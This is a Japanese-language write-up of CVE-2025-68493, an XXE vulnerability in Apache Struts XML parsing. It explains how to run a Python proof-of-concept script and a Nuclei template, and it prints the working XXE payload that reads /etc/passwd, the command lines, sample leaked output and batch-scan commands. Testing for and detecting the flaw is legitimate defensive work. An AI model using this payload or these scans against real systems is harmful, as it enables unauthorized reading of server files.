CVE-2025-68493

CVE-2025-68493

7. 参考資料

[1] ApacheStrutsXWorkXML脆弱性CVE-2025-68493のPoCおよびスクリプト | ZONE.CI 全球网. https://zone.ci/secarticles/wx/486533.html

8. 脆弱性の検証と悪用

CVE-2025-68493 脆弱性を検証および悪用するには、以下の Python PoC スクリプトと Nuclei YAML テンプレートを使用できます。

8.1 Python PoC スクリプトの使用方法

スクリプト名: cve_2025_68493_poc.py

機能: このスクリプトは、単一のターゲットに対して脆弱性検証を行い、指定されたファイル（デフォルトは /etc/passwd）の読み取りを試みます。

使用要件:

• Python 3 環境
• requests ライブラリ (pip install requests)

コマンドライン引数:

• -u, --url: ターゲットアプリケーションのベースURL（例: http://127.0.0.1:8080）
• -f, --file: 読み取りを試みるターゲットファイルパス（デフォルトは /etc/passwd）

例:

python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd

期待される出力:

ターゲットに脆弱性が存在し、ファイルの読み取りに成功した場合、以下のような内容が表示されます：

[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: <?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------

8.2 Nuclei YAML テンプレートの使用方法

テンプレート名: cve-2025-68493.yaml

機能: このテンプレートは、Nuclei ツールを使用して複数のターゲットをバッチスキャンし、CVE-2025-68493 脆弱性を検出するために使用されます。

使用要件:

• Nuclei ツールがインストールされていること（推奨 v3.x 以上）

コマンドライン引数:

• -t: Nuclei テンプレートファイルのパスを指定
• -u: 単一のターゲット URL を指定
• -l: 複数のターゲット URL を含むファイルを指定

例:

単一ターゲットのスキャン:

nuclei -t cve-2025-68493.yaml -u http://example.com:8080

バッチスキャン:

targets.txt というファイルがあり、各行にターゲット URL が含まれているとします：

http://target1.com:8080
http://target2.com:8080

以下のコマンドを実行してバッチスキャンを行います：

nuclei -t cve-2025-68493.yaml -l targets.txt